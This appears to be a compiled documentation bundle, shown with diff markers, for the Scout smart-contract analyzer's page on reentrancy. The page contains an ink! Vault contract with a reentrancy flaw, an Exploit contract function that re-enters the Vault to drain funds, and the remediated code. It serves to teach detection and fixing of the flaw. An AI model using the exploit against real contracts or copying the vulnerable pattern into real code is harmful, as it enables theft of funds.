",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/reentrancy-2/reentrancy-2-1"},(0,r.kt)("inlineCode",{parentName:"a"},"reentrancy-3")))),(0,r.kt)("p",null,"Smart contracts can call other contracts and send tokens to them. These\noperations imply external calls where control flow is passed to the called\ncontract until the execution of the called code is over. Then the control\nis delivered back to the caller."),(0,r.kt)("p",null,"External calls, therefore, could open the opportunity for a malicious contract\nto execute any arbitrary code. This includes calling back the caller contract,\nan attack known as reentrancy. This kind of attack was used in Ethereum for\nthe infamous ",(0,r.kt)("a",{parentName:"p",href:"https://blog.chain.link/reentrancy-attacks-and-the-dao-hack/"},"DAO Hack"),"."),(0,r.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,r.kt)("p",null,"In order to exemplify this vulnerability we developed two contracts:\na ",(0,r.kt)("inlineCode",{parentName:"p"},"Vault")," contract and an ",(0,r.kt)("inlineCode",{parentName:"p"},"Exploit")," contract."),(0,r.kt)("p",null,"The ",(0,r.kt)("inlineCode",{parentName:"p"},"Vault")," contract provides functions to deposit, withdraw, check balance,\nand call a function on another contract with a specified value."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"},'#[ink(message)]\npub fn call_with_value(&mut self, address: AccountId, amount: Balance, selector: u32) -> Balance {\n ink::env::debug_println!("call_with_value function called from {:?}",self.env().caller());\n let caller_addr = self.env().caller();\n let caller_balance = self.balances.get(caller_addr).unwrap_or(0);\n if amount <= caller_balance {\n let call = build_call::()\n .call(address)\n .transferred_value(amount)\n .exec_input(\n ink::env::call::ExecutionInput::new(Selector::new(selector.to_be_bytes()))\n )\n .call_flags(\n ink::env::CallFlags::default()\n .set_allow_reentry(true)\n )\n .returns::<()>()\n .params();\n self.env().invoke_contract(&call)\n .unwrap_or_else(|err| panic!("Err {:?}",err))\n .unwrap_or_else(|err| panic!("LangErr {:?}",err));\n self.balances.insert(caller_addr, &(caller_balance - amount));\n\n return caller_balance - amount;\n } else {\n return caller_balance\n }\n}\n')),(0,r.kt)("p",null,"Th function ",(0,r.kt)("inlineCode",{parentName:"p"},"call_with_value function()")," allows the contract owner to call\nother contracts on the blockchain and transfer a specified amount of value in\nthe process. The function takes three arguments:"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("em",{parentName:"li"},"address"),": The address of the contract to call."),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("em",{parentName:"li"},"amount"),": The amount of balance to transfer in the call."),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("em",{parentName:"li"},"selector"),": The 32-bit function selector of the function to call on the contract.")),(0,r.kt)("p",null,"The function first checks the balance of the caller to make sure that they have\nenough funds to perform the transfer. If the balance is sufficient, a new call\nis constructed using the ",(0,r.kt)("inlineCode",{parentName:"p"},"build_call()")," function provided by the\n",(0,r.kt)("inlineCode",{parentName:"p"},"env::call module"),"."),(0,r.kt)("p",null,"The ",(0,r.kt)("inlineCode",{parentName:"p"},"build_call()")," function constructs a new contract call with the specified\narguments. In this case, the call method is used to specify the address of the\ncontract to call, the transferred_value method is used to specify the amount\nof balance to transfer, and the exec_input method is used to specify the\nfunction selector and any arguments to pass to the called function."),(0,r.kt)("p",null,"The ",(0,r.kt)("inlineCode",{parentName:"p"},"call_flags()")," method is also used to set a flag that allows the called\ncontract to re-enter the current contract if necessary. This possibility to\nre-enter the contract, together with an appropriate 32-bit function selector\nwill allow us to repeatedly withdraw balance from the contract, emptying the\nVault."),(0,r.kt)("p",null,"In order to perform this attack, we will use the ",(0,r.kt)("inlineCode",{parentName:"p"},"exploit()")," function of the\n",(0,r.kt)("inlineCode",{parentName:"p"},"Exploit")," contract that we outline below:"),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"},'#[ink(message, payable, selector = 0x0)]\npub fn exploit(&mut self) {\n ink::env::debug_println!("Exploit function called from {:?} gas left {:?}",self.env().caller(), self.env().gas_left());\n if self.env().gas_left() > self.gas_to_stop{\n let call = build_call::()\n .call(self.contract)\n .transferred_value(0)\n .exec_input(\n ink::env::call::ExecutionInput::new(Selector::new([0x76_u8,0x75_u8,0x7E_u8,0xD3_u8]))\n .push_arg(self.env().account_id())\n .push_arg(self.amount)\n .push_arg(0)\n )\n .call_flags(\n ink::env::CallFlags::default()\n .set_allow_reentry(true)\n )\n .returns::()\n .params();\n ink::env::debug_println!("Call generated gas left:{:?}",self.env().gas_left());\n self.env().invoke_contract(&call)\n .unwrap_or_else(|err| panic!("Err {:?}",err))\n .unwrap_or_else(|err| panic!("LangErr {:?}",err));\n ink::env::debug_println!("Call finished");\n }\n}\n\n')),(0,r.kt)("p",null,"The vulnerable code example can be found ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/reentrancy-1/reentrancy-1-1/vulnerable-example"},"here"),"."),(0,r.kt)("h3",{id:"deployment"},"Deployment"),(0,r.kt)("p",null,"Exploit and Vault files can be found under the directories\n",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/reentrancy-1/reentrancy-1-1/vulnerable-example/exploit"},"vulnerable-example/exploit")," and\n",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/reentrancy-1/reentrancy-1-1/vulnerable-example/src"},"vulnerable-example/src"),".\nThe whole exploit example can be run automatically using the ",(0,r.kt)("inlineCode",{parentName:"p"},"deploy.sh")," file."),(0,r.kt)("h2",{id:"recommendation"},"Recommendation"),(0,r.kt)("p",null,"In general, risks associated to reentrancy can be addressed with the\nCheck-Effect-Interaction pattern, a best practice that indicates that external\ncalls should be the last thing to be executed in a function. In this example,\nthis can be done by inserting the balance before transferring the value (see\n",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/reentrancy-1/reentrancy-1-1/remediated-example"},"remediated-example-1"),")."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"},'pub fn call_with_value(&mut self, address: AccountId, amount: Balance, selector: u32) -> Balance {\n ink::env::debug_println!("call_with_value function called from {:?}",self.env().caller());\n let caller_addr = self.env().caller();\n let caller_balance = self.balances.get(caller_addr).unwrap_or(0);\n if amount <= caller_balance {\n self.balances.insert(caller_addr, &(caller_balance - amount));\n let call = build_call::()\n .call(address)\n .transferred_value(amount)\n .exec_input(\n ink::env::call::ExecutionInput::new(Selector::new(selector.to_be_bytes()))\n )\n .call_flags(\n ink::env::CallFlags::default()\n .set_allow_reentry(true)\n )\n .returns::<()>()\n .params();\n self.env().invoke_contract(&call)\n .unwrap_or_else(|err| panic!("Err {:?}",err))\n .unwrap_or_else(|err| panic!("LangErr {:?}",err));\n\n return caller_balance - amount;\n } else {\n return caller_balance\n }\n}\n')),(0,r.kt)("p",null,"The remediated code example can be found ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/reentrancy-1/reentrancy-1-1/remediated-example"},"here"),"."),(0,r.kt)("p",null,"Alternatively, if reentrancy by an external contract is not needed, the\n",(0,r.kt)("inlineCode",{parentName:"p"},"set_allow_reentry(true)")," should be removed altogether (see\n",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/reentrancy-1/reentrancy-1-2/remediated-example"},"remediated-example-2"),"). This is equivalent in Substrate to using a\n",(0,r.kt)("a",{parentName:"p",href:"https://github.com/Supercolony-net/openbrush-contracts/tree/main/contracts/src/security/reentrancy_guard"},"reentrancy guard"),"\nlike the one offered by ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/Supercolony-net/openbrush-contracts"},"OpenBrush"),"."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"},'#[ink(message)]\npub fn call_with_value(&mut self, address: AccountId, amount: Balance, selector: u32) -> Balance {\n ink::env::debug_println!("call_with_value function called from {:?}",self.env().caller());\n let caller_addr = self.env().caller();\n let caller_balance = self.balances.get(caller_addr).unwrap_or(0);\n if amount <= caller_balance {\n let call = build_call::()\n .call(address)\n .transferred_value(amount)\n .exec_input(\n ink::env::call::ExecutionInput::new(Selector::new(selector.to_be_bytes()))\n )\n .returns::<()>()\n .params();\n self.env().invoke_contract(&call)\n .unwrap_or_else(|err| panic!("Err {:?}",err))\n .unwrap_or_else(|err| panic!("LangErr {:?}",err));\n self.balances.insert(caller_addr, &(caller_balance - amount));\n\n return caller_balance - amount;\n } else {\n return caller_balance\n }\n}\n')),(0,r.kt)("p",null,"The remediated code example can be found ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/reentrancy-1/reentrancy-1-2/remediated-example"},"here"),"."),(0,r.kt)("h2",{id:"references"},"References"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://use.ink/datastructures/storage-layout"},"https://use.ink/datastructures/storage-layout")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://consensys.github.io/smart-contract-best-practices/attacks/reentrancy/"},"https://consensys.github.io/smart-contract-best-practices/attacks/reentrancy/")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://dasp.co/#item-1"},"https://dasp.co/#item-1")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://blog.sigmaprime.io/solidity-security.html#SP-1"},"https://blog.sigmaprime.io/solidity-security.html#SP-1")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://docs.soliditylang.org/en/develop/security-considerations.html#re-entrancy"},"https://docs.soliditylang.org/en/develop/security-considerations.html#re-entrancy")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://stermi.medium.com/the-ethernaut-challenge-9-solution-re-entrancy-635303881a4f"},"Ethernaut: Reentrancy")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://swcregistry.io/docs/SWC-107"},"SWC-107")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities"},"Slither: Reentrancy vulnerabilities (theft of ethers)")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-1"},"Slither: Reentrancy vulnerabilities (no theft of ethers)")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-2"},"Slither: Benign reentrancy vulnerabilities")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-3"},"Slither: Reentrancy vulnerabilities leading to out-of-order Events")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-4"},"Slither: Reentrancy vulnerabilities through send and transfer"))))}m.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/51bdbc41.f256d586.js b/assets/js/51bdbc41.f256d586.js deleted file mode 100644 index b3c3c8c0..00000000 --- a/assets/js/51bdbc41.f256d586.js +++ /dev/null @@ -1 +0,0 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[6516],{9613:(e,t,n)=>{n.d(t,{Zo:()=>u,kt:()=>h});var a=n(9496);function r(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function l(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function i(e){for(var t=1;t=0||(r[n]=e[n]);return r}(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(a=0;a=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(r[n]=e[n])}return r}var o=a.createContext({}),s=function(e){var t=a.useContext(o),n=t;return e&&(n="function"==typeof e?e(t):i(i({},t),e)),n},u=function(e){var t=s(e.components);return a.createElement(o.Provider,{value:t},e.children)},p="mdxType",m={inlineCode:"code",wrapper:function(e){var t=e.children;return a.createElement(a.Fragment,{},t)}},d=a.forwardRef((function(e,t){var n=e.components,r=e.mdxType,l=e.originalType,o=e.parentName,u=c(e,["components","mdxType","originalType","parentName"]),p=s(n),d=r,h=p["".concat(o,".").concat(d)]||p[d]||m[d]||l;return n?a.createElement(h,i(i({ref:t},u),{},{components:n})):a.createElement(h,i({ref:t},u))}));function h(e,t){var n=arguments,r=t&&t.mdxType;if("string"==typeof e||r){var l=n.length,i=new Array(l);i[0]=d;var c={};for(var o in t)hasOwnProperty.call(t,o)&&(c[o]=t[o]);c.originalType=e,c[p]="string"==typeof e?e:r,i[1]=c;for(var s=2;s{n.r(t),n.d(t,{assets:()=>o,contentTitle:()=>i,default:()=>m,frontMatter:()=>l,metadata:()=>c,toc:()=>s});var a=n(2564),r=(n(9496),n(9613));const l={},i="Reentrancy",c={unversionedId:"vulnerabilities/reentrancy",id:"vulnerabilities/reentrancy",title:"Reentrancy",description:"Description",source:"@site/docs/vulnerabilities/3-reentrancy.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/reentrancy",permalink:"/scout/docs/vulnerabilities/reentrancy",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/3-reentrancy.md",tags:[],version:"current",sidebarPosition:3,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Set contract storage",permalink:"/scout/docs/vulnerabilities/set-contract-storage"},next:{title:"Panic Error",permalink:"/scout/docs/vulnerabilities/panic-error"}},o={},s=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Deployment",id:"deployment",level:3},{value:"Recommendation",id:"recommendation",level:2},{value:"References",id:"references",level:2}],u={toc:s},p="wrapper";function m(e){let{components:t,...n}=e;return(0,r.kt)(p,(0,a.Z)({},u,n,{components:t,mdxType:"MDXLayout"}),(0,r.kt)("h1",{id:"reentrancy"},"Reentrancy"),(0,r.kt)("h2",{id:"description"},"Description"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,r.kt)("inlineCode",{parentName:"li"},"Reentrancy")),(0,r.kt)("li",{parentName:"ul"},"Severity: ",(0,r.kt)("inlineCode",{parentName:"li"},"Critical")),(0,r.kt)("li",{parentName:"ul"},"Detectors: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/reentrancy-1"},(0,r.kt)("inlineCode",{parentName:"a"},"reentrancy-1")),", ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/reentrancy-2"},(0,r.kt)("inlineCode",{parentName:"a"},"reentrancy-2"))),(0,r.kt)("li",{parentName:"ul"},"Test Cases: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/reentrancy-1/reentrancy-1"},(0,r.kt)("inlineCode",{parentName:"a"},"reentrancy-1")),", ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/reentrancy-1/reentrancy-2"},(0,r.kt)("inlineCode",{parentName:"a"},"reentrancy-2")),", ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/reentrancy-2/reentrancy-1"},(0,r.kt)("inlineCode",{parentName:"a"},"reentrancy-3")))),(0,r.kt)("p",null,"Smart contracts can call other contracts and send tokens to them. These\noperations imply external calls where control flow is passed to the called\ncontract until the execution of the called code is over. Then the control\nis delivered back to the caller."),(0,r.kt)("p",null,"External calls, therefore, could open the opportunity for a malicious contract\nto execute any arbitrary code. This includes calling back the caller contract,\nan attack known as reentrancy. This kind of attack was used in Ethereum for\nthe infamous ",(0,r.kt)("a",{parentName:"p",href:"https://blog.chain.link/reentrancy-attacks-and-the-dao-hack/"},"DAO Hack"),"."),(0,r.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,r.kt)("p",null,"In order to exemplify this vulnerability we developed two contracts:\na ",(0,r.kt)("inlineCode",{parentName:"p"},"Vault")," contract and an ",(0,r.kt)("inlineCode",{parentName:"p"},"Exploit")," contract."),(0,r.kt)("p",null,"The ",(0,r.kt)("inlineCode",{parentName:"p"},"Vault")," contract provides functions to deposit, withdraw, check balance,\nand call a function on another contract with a specified value."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"},'#[ink(message)]\npub fn call_with_value(&mut self, address: AccountId, amount: Balance, selector: u32) -> Balance {\n ink::env::debug_println!("call_with_value function called from {:?}",self.env().caller());\n let caller_addr = self.env().caller();\n let caller_balance = self.balances.get(caller_addr).unwrap_or(0);\n if amount <= caller_balance {\n let call = build_call::()\n .call(address)\n .transferred_value(amount)\n .exec_input(\n ink::env::call::ExecutionInput::new(Selector::new(selector.to_be_bytes()))\n )\n .call_flags(\n ink::env::CallFlags::default()\n .set_allow_reentry(true)\n )\n .returns::<()>()\n .params();\n self.env().invoke_contract(&call)\n .unwrap_or_else(|err| panic!("Err {:?}",err))\n .unwrap_or_else(|err| panic!("LangErr {:?}",err));\n self.balances.insert(caller_addr, &(caller_balance - amount));\n\n return caller_balance - amount;\n } else {\n return caller_balance\n }\n}\n')),(0,r.kt)("p",null,"Th function ",(0,r.kt)("inlineCode",{parentName:"p"},"call_with_value function()")," allows the contract owner to call\nother contracts on the blockchain and transfer a specified amount of value in\nthe process. The function takes three arguments:"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("em",{parentName:"li"},"address"),": The address of the contract to call."),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("em",{parentName:"li"},"amount"),": The amount of balance to transfer in the call."),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("em",{parentName:"li"},"selector"),": The 32-bit function selector of the function to call on the contract.")),(0,r.kt)("p",null,"The function first checks the balance of the caller to make sure that they have\nenough funds to perform the transfer. If the balance is sufficient, a new call\nis constructed using the ",(0,r.kt)("inlineCode",{parentName:"p"},"build_call()")," function provided by the\n",(0,r.kt)("inlineCode",{parentName:"p"},"env::call module"),"."),(0,r.kt)("p",null,"The ",(0,r.kt)("inlineCode",{parentName:"p"},"build_call()")," function constructs a new contract call with the specified\narguments. In this case, the call method is used to specify the address of the\ncontract to call, the transferred_value method is used to specify the amount\nof balance to transfer, and the exec_input method is used to specify the\nfunction selector and any arguments to pass to the called function."),(0,r.kt)("p",null,"The ",(0,r.kt)("inlineCode",{parentName:"p"},"call_flags()")," method is also used to set a flag that allows the called\ncontract to re-enter the current contract if necessary. This possibility to\nre-enter the contract, together with an appropriate 32-bit function selector\nwill allow us to repeatedly withdraw balance from the contract, emptying the\nVault."),(0,r.kt)("p",null,"In order to perform this attack, we will use the ",(0,r.kt)("inlineCode",{parentName:"p"},"exploit()")," function of the\n",(0,r.kt)("inlineCode",{parentName:"p"},"Exploit")," contract that we outline below:"),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"},'#[ink(message, payable, selector = 0x0)]\npub fn exploit(&mut self) {\n ink::env::debug_println!("Exploit function called from {:?} gas left {:?}",self.env().caller(), self.env().gas_left());\n if self.env().gas_left() > self.gas_to_stop{\n let call = build_call::()\n .call(self.contract)\n .transferred_value(0)\n .exec_input(\n ink::env::call::ExecutionInput::new(Selector::new([0x76_u8,0x75_u8,0x7E_u8,0xD3_u8]))\n .push_arg(self.env().account_id())\n .push_arg(self.amount)\n .push_arg(0)\n )\n .call_flags(\n ink::env::CallFlags::default()\n .set_allow_reentry(true)\n )\n .returns::()\n .params();\n ink::env::debug_println!("Call generated gas left:{:?}",self.env().gas_left());\n self.env().invoke_contract(&call)\n .unwrap_or_else(|err| panic!("Err {:?}",err))\n .unwrap_or_else(|err| panic!("LangErr {:?}",err));\n ink::env::debug_println!("Call finished");\n }\n}\n\n')),(0,r.kt)("p",null,"The vulnerable code example can be found ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/reentrancy-1/reentrancy-1/vulnerable-example"},"here"),"."),(0,r.kt)("h3",{id:"deployment"},"Deployment"),(0,r.kt)("p",null,"Vault and Exploit files can be found under the directories\n",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/reentrancy-1/reentrancy-1/vulnerable-example/exploit"},"vulnerable-example/exploit")," and\n",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/reentrancy-1/reentrancy-1/vulnerable-example/vault"},"vulnerable-example/vault"),".\nThe whole exploit example can be run automatically using the ",(0,r.kt)("inlineCode",{parentName:"p"},"deploy.sh")," file."),(0,r.kt)("h2",{id:"recommendation"},"Recommendation"),(0,r.kt)("p",null,"In general, risks associated to reentrancy can be addressed with the\nCheck-Effect-Interaction pattern, a best practice that indicates that external\ncalls should be the last thing to be executed in a function. In this example,\nthis can be done by inserting the balance before transferring the value (see\n",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/reentrancy-1/reentrancy-1/remediated-example"},"remediated-example-1"),")."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"},'pub fn call_with_value(&mut self, address: AccountId, amount: Balance, selector: u32) -> Balance {\n ink::env::debug_println!("call_with_value function called from {:?}",self.env().caller());\n let caller_addr = self.env().caller();\n let caller_balance = self.balances.get(caller_addr).unwrap_or(0);\n if amount <= caller_balance {\n self.balances.insert(caller_addr, &(caller_balance - amount));\n let call = build_call::()\n .call(address)\n .transferred_value(amount)\n .exec_input(\n ink::env::call::ExecutionInput::new(Selector::new(selector.to_be_bytes()))\n )\n .call_flags(\n ink::env::CallFlags::default()\n .set_allow_reentry(true)\n )\n .returns::<()>()\n .params();\n self.env().invoke_contract(&call)\n .unwrap_or_else(|err| panic!("Err {:?}",err))\n .unwrap_or_else(|err| panic!("LangErr {:?}",err));\n\n return caller_balance - amount;\n } else {\n return caller_balance\n }\n}\n')),(0,r.kt)("p",null,"The remediated code example can be found ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/reentrancy-1/reentrancy-1/remediated-example"},"here"),"."),(0,r.kt)("p",null,"Alternatively, if reentrancy by an external contract is not needed, the\n",(0,r.kt)("inlineCode",{parentName:"p"},"set_allow_reentry(true)")," should be removed altogether (see\n",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/reentrancy-1/reentrancy-2/remediated-example"},"remediated-example-2"),"). This is equivalent in Substrate to using a\n",(0,r.kt)("a",{parentName:"p",href:"https://github.com/Supercolony-net/openbrush-contracts/tree/main/contracts/src/security/reentrancy_guard"},"reentrancy guard"),"\nlike the one offered by ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/Supercolony-net/openbrush-contracts"},"OpenBrush"),"."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"},'#[ink(message)]\npub fn call_with_value(&mut self, address: AccountId, amount: Balance, selector: u32) -> Balance {\n ink::env::debug_println!("call_with_value function called from {:?}",self.env().caller());\n let caller_addr = self.env().caller();\n let caller_balance = self.balances.get(caller_addr).unwrap_or(0);\n if amount <= caller_balance {\n let call = build_call::()\n .call(address)\n .transferred_value(amount)\n .exec_input(\n ink::env::call::ExecutionInput::new(Selector::new(selector.to_be_bytes()))\n )\n .returns::<()>()\n .params();\n self.env().invoke_contract(&call)\n .unwrap_or_else(|err| panic!("Err {:?}",err))\n .unwrap_or_else(|err| panic!("LangErr {:?}",err));\n self.balances.insert(caller_addr, &(caller_balance - amount));\n\n return caller_balance - amount;\n } else {\n return caller_balance\n }\n}\n')),(0,r.kt)("p",null,"The remediated code example can be found ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/reentrancy-1/reentrancy-2/remediated-example"},"here"),"."),(0,r.kt)("h2",{id:"references"},"References"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://use.ink/datastructures/storage-layout"},"https://use.ink/datastructures/storage-layout")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://consensys.github.io/smart-contract-best-practices/attacks/reentrancy/"},"https://consensys.github.io/smart-contract-best-practices/attacks/reentrancy/")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://dasp.co/#item-1"},"https://dasp.co/#item-1")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://blog.sigmaprime.io/solidity-security.html#SP-1"},"https://blog.sigmaprime.io/solidity-security.html#SP-1")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://docs.soliditylang.org/en/develop/security-considerations.html#re-entrancy"},"https://docs.soliditylang.org/en/develop/security-considerations.html#re-entrancy")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://stermi.medium.com/the-ethernaut-challenge-9-solution-re-entrancy-635303881a4f"},"Ethernaut: Reentrancy")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://swcregistry.io/docs/SWC-107"},"SWC-107")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities"},"Slither: Reentrancy vulnerabilities (theft of ethers)")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-1"},"Slither: Reentrancy vulnerabilities (no theft of ethers)")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-2"},"Slither: Benign reentrancy vulnerabilities")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-3"},"Slither: Reentrancy vulnerabilities leading to out-of-order Events")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-4"},"Slither: Reentrancy vulnerabilities through send and transfer"))))}m.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/665fb54a.5a8f82e3.js b/assets/js/665fb54a.32cef2d5.js similarity index 70% rename from assets/js/665fb54a.5a8f82e3.js rename to assets/js/665fb54a.32cef2d5.js index 0220ff39..06177897 100644 --- a/assets/js/665fb54a.5a8f82e3.js +++ b/assets/js/665fb54a.32cef2d5.js @@ -1 +1 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[5388],{9613:(e,t,r)=>{r.d(t,{Zo:()=>u,kt:()=>f});var n=r(9496);function o(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function a(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function s(e){for(var t=1;t=0||(o[r]=e[r]);return o}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(o[r]=e[r])}return o}var i=n.createContext({}),l=function(e){var t=n.useContext(i),r=t;return e&&(r="function"==typeof e?e(t):s(s({},t),e)),r},u=function(e){var t=l(e.components);return n.createElement(i.Provider,{value:t},e.children)},p="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},m=n.forwardRef((function(e,t){var r=e.components,o=e.mdxType,a=e.originalType,i=e.parentName,u=c(e,["components","mdxType","originalType","parentName"]),p=l(r),m=o,f=p["".concat(i,".").concat(m)]||p[m]||d[m]||a;return r?n.createElement(f,s(s({ref:t},u),{},{components:r})):n.createElement(f,s({ref:t},u))}));function f(e,t){var r=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var a=r.length,s=new Array(a);s[0]=m;var c={};for(var i in t)hasOwnProperty.call(t,i)&&(c[i]=t[i]);c.originalType=e,c[p]="string"==typeof e?e:o,s[1]=c;for(var l=2;l{r.r(t),r.d(t,{assets:()=>i,contentTitle:()=>s,default:()=>d,frontMatter:()=>a,metadata:()=>c,toc:()=>l});var n=r(2564),o=(r(9496),r(9613));const a={},s="Set contract storage",c={unversionedId:"detectors/set-contract-storage",id:"detectors/set-contract-storage",title:"Set contract storage",description:"What it does",source:"@site/docs/detectors/2-set-contract-storage.md",sourceDirName:"detectors",slug:"/detectors/set-contract-storage",permalink:"/scout/docs/detectors/set-contract-storage",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/2-set-contract-storage.md",tags:[],version:"current",sidebarPosition:2,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Integer overflow or 